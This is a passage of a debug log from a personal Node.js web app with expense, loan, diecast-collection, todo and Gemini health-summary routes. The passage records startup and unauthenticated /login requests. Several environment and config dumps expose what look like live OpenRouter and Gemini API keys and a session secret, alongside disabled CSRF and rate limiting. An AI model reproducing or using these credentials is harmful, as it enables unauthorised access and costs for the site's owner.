2026-07-17T05:23:28.345Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-17T05:23:28.350Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-17T05:23:28.351Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-17T05:23:28.351Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-17T05:23:28.357Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-17T05:23:28.363Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-17T05:23:28.371Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-17T05:23:28.376Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-17T05:23:28.448Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-17T05:23:28.449Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-17T05:23:28.455Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-17T05:23:28.459Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-17T05:23:28.464Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-17T05:23:28.465Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-17T05:23:28.474Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-17T05:23:28.474Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-17T05:23:28.481Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-17T05:23:28.483Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-17T05:23:28.487Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-17T05:23:28.488Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-17T05:23:28.490Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-17T05:23:28.497Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-17T05:23:28.499Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-17T05:23:28.499Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-17T05:23:28.505Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-17T05:23:28.508Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-17T05:23:28.510Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-17T05:23:28.516Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-17T05:23:28.520Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-17T05:23:28.523Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-17T05:23:28.532Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-17T05:23:29.022Z server-connect:router Serving templateView /
2026-07-17T05:23:29.025Z server-connect:app Executing action step identify
2026-07-17T05:23:29.025Z server-connect:app options: { provider: 'security' }
2026-07-17T05:23:29.027Z server-connect:auth No login cookie found
2026-07-17T05:23:29.027Z server-connect:output identity: false
2026-07-17T05:23:29.027Z server-connect:app Executing action step restrict
2026-07-17T05:23:29.027Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-17T05:23:29.031Z server-connect:output restrict: undefined
2026-07-17T05:23:29.156Z server-connect:router Serving templateView /login
2026-07-17T05:23:29.156Z server-connect:app Executing action step identify
2026-07-17T05:23:29.157Z server-connect:app options: { provider: 'security' }
2026-07-17T05:23:29.157Z server-connect:auth No login cookie found
2026-07-17T05:23:29.157Z server-connect:output identity: false
2026-07-17T05:23:29.157Z server-connect:router Render template layouts/authentication
2026-07-17T05:23:29.157Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.16.0 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.90.215.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-18T05:23:29.154Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.90.215.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.16.0 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.90.215.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-20T19:51:24.692Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-20T19:51:26.901Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-20T19:51:27.764Z server-connect:setup:upload Upload middleware configured.
2026-07-20T19:51:27.764Z server-connect:secure CSRF Protection initialized
2026-07-20T19:51:27.771Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-20T19:51:27.771Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-20T19:51:27.772Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-20T19:51:27.775Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-20T19:51:27.780Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-20T19:51:27.784Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-20T19:51:27.800Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-20T19:51:27.815Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-20T19:51:27.815Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-20T19:51:27.817Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-20T19:51:27.819Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-20T19:51:27.824Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-20T19:51:27.830Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-20T19:51:27.839Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-20T19:51:27.842Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-20T19:51:27.915Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-20T19:51:27.918Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-20T19:51:27.921Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-20T19:51:27.927Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-20T19:51:27.932Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-20T19:51:27.933Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-20T19:51:27.940Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-20T19:51:27.942Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-20T19:51:27.951Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-20T19:51:27.951Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-20T19:51:27.956Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-20T19:51:27.958Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-20T19:51:27.960Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-20T19:51:27.967Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-20T19:51:27.967Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-20T19:51:27.970Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-20T19:51:27.972Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-20T19:51:27.976Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-20T19:51:27.978Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-20T19:51:27.983Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-20T19:51:27.987Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-20T19:51:27.989Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-20T19:51:28.000Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-20T19:51:28.489Z server-connect:router Serving templateView /
2026-07-20T19:51:28.491Z server-connect:app Executing action step identify
2026-07-20T19:51:28.491Z server-connect:app options: { provider: 'security' }
2026-07-20T19:51:28.494Z server-connect:auth No login cookie found
2026-07-20T19:51:28.494Z server-connect:output identity: false
2026-07-20T19:51:28.494Z server-connect:app Executing action step restrict
2026-07-20T19:51:28.494Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-20T19:51:28.498Z server-connect:output restrict: undefined
2026-07-20T19:51:28.600Z server-connect:router Serving templateView /login
2026-07-20T19:51:28.600Z server-connect:app Executing action step identify
2026-07-20T19:51:28.600Z server-connect:app options: { provider: 'security' }
2026-07-20T19:51:28.600Z server-connect:auth No login cookie found
2026-07-20T19:51:28.600Z server-connect:output identity: false
2026-07-20T19:51:28.600Z server-connect:router Render template layouts/authentication
2026-07-20T19:51:28.601Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '13.219.67.125',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-21T19:51:28.598Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '13.219.67.125',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '13.219.67.125',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-20T21:04:37.058Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-20T21:04:38.747Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-20T21:04:39.673Z server-connect:setup:upload Upload middleware configured.
2026-07-20T21:04:39.673Z server-connect:secure CSRF Protection initialized
2026-07-20T21:04:39.679Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-20T21:04:39.745Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-20T21:04:39.745Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-20T21:04:39.748Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-20T21:04:39.754Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-20T21:04:39.759Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-20T21:04:39.774Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-20T21:04:39.785Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-20T21:04:39.789Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-20T21:04:39.791Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-20T21:04:39.793Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-20T21:04:39.797Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-20T21:04:39.803Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-20T21:04:39.812Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-20T21:04:39.817Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-20T21:04:39.889Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-20T21:04:39.890Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-20T21:04:39.895Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-20T21:04:39.902Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-20T21:04:39.906Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-20T21:04:39.909Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-20T21:04:39.916Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-20T21:04:39.919Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-20T21:04:39.925Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-20T21:04:39.925Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-20T21:04:39.929Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-20T21:04:39.932Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-20T21:04:39.932Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-20T21:04:39.940Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-20T21:04:39.940Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-20T21:04:39.944Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-20T21:04:39.944Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-20T21:04:39.948Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-20T21:04:39.952Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-20T21:04:39.958Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-20T21:04:39.962Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-20T21:04:39.963Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-20T21:04:39.972Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-20T21:04:40.589Z server-connect:router Serving templateView /
2026-07-20T21:04:40.591Z server-connect:app Executing action step identify
2026-07-20T21:04:40.591Z server-connect:app options: { provider: 'security' }
2026-07-20T21:04:40.594Z server-connect:auth No login cookie found
2026-07-20T21:04:40.594Z server-connect:output identity: false
2026-07-20T21:04:40.594Z server-connect:app Executing action step restrict
2026-07-20T21:04:40.594Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-20T21:04:40.598Z server-connect:output restrict: undefined
2026-07-20T21:56:01.446Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-20T21:56:03.123Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-20T21:56:04.053Z server-connect:setup:upload Upload middleware configured.
2026-07-20T21:56:04.053Z server-connect:secure CSRF Protection initialized
2026-07-20T21:56:04.059Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-20T21:56:04.132Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-20T21:56:04.132Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-20T21:56:04.133Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-20T21:56:04.136Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-20T21:56:04.142Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-20T21:56:04.157Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-20T21:56:04.167Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-20T21:56:04.172Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-20T21:56:04.173Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-20T21:56:04.175Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-20T21:56:04.179Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-20T21:56:04.185Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-20T21:56:04.195Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-20T21:56:04.199Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-20T21:56:04.269Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-20T21:56:04.271Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-20T21:56:04.275Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-20T21:56:04.282Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-20T21:56:04.284Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-20T21:56:04.286Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-20T21:56:04.295Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-20T21:56:04.296Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-20T21:56:04.302Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-20T21:56:04.304Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-20T21:56:04.308Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-20T21:56:04.310Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-20T21:56:04.312Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-20T21:56:04.318Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-20T21:56:04.320Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-20T21:56:04.322Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-20T21:56:04.324Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-20T21:56:04.328Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-20T21:56:04.330Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-20T21:56:04.335Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-20T21:56:04.340Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-20T21:56:04.341Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-20T21:56:04.351Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-20T21:56:04.968Z server-connect:router Serving templateView /
2026-07-20T21:56:04.971Z server-connect:app Executing action step identify
2026-07-20T21:56:04.971Z server-connect:app options: { provider: 'security' }
2026-07-20T21:56:04.973Z server-connect:auth No login cookie found
2026-07-20T21:56:04.973Z server-connect:output identity: false
2026-07-20T21:56:04.973Z server-connect:app Executing action step restrict
2026-07-20T21:56:04.973Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-20T21:56:04.977Z server-connect:output restrict: undefined
2026-07-20T21:56:06.217Z server-connect:router Serving templateView /login
2026-07-20T21:56:06.217Z server-connect:app Executing action step identify
2026-07-20T21:56:06.217Z server-connect:app options: { provider: 'security' }
2026-07-20T21:56:06.218Z server-connect:auth No login cookie found
2026-07-20T21:56:06.218Z server-connect:output identity: false
2026-07-20T21:56:06.218Z server-connect:router Render template layouts/authentication
2026-07-20T21:56:06.218Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    'x-forwarded-for': '94.154.43.183',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-21T21:56:06.215Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '94.154.43.183',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
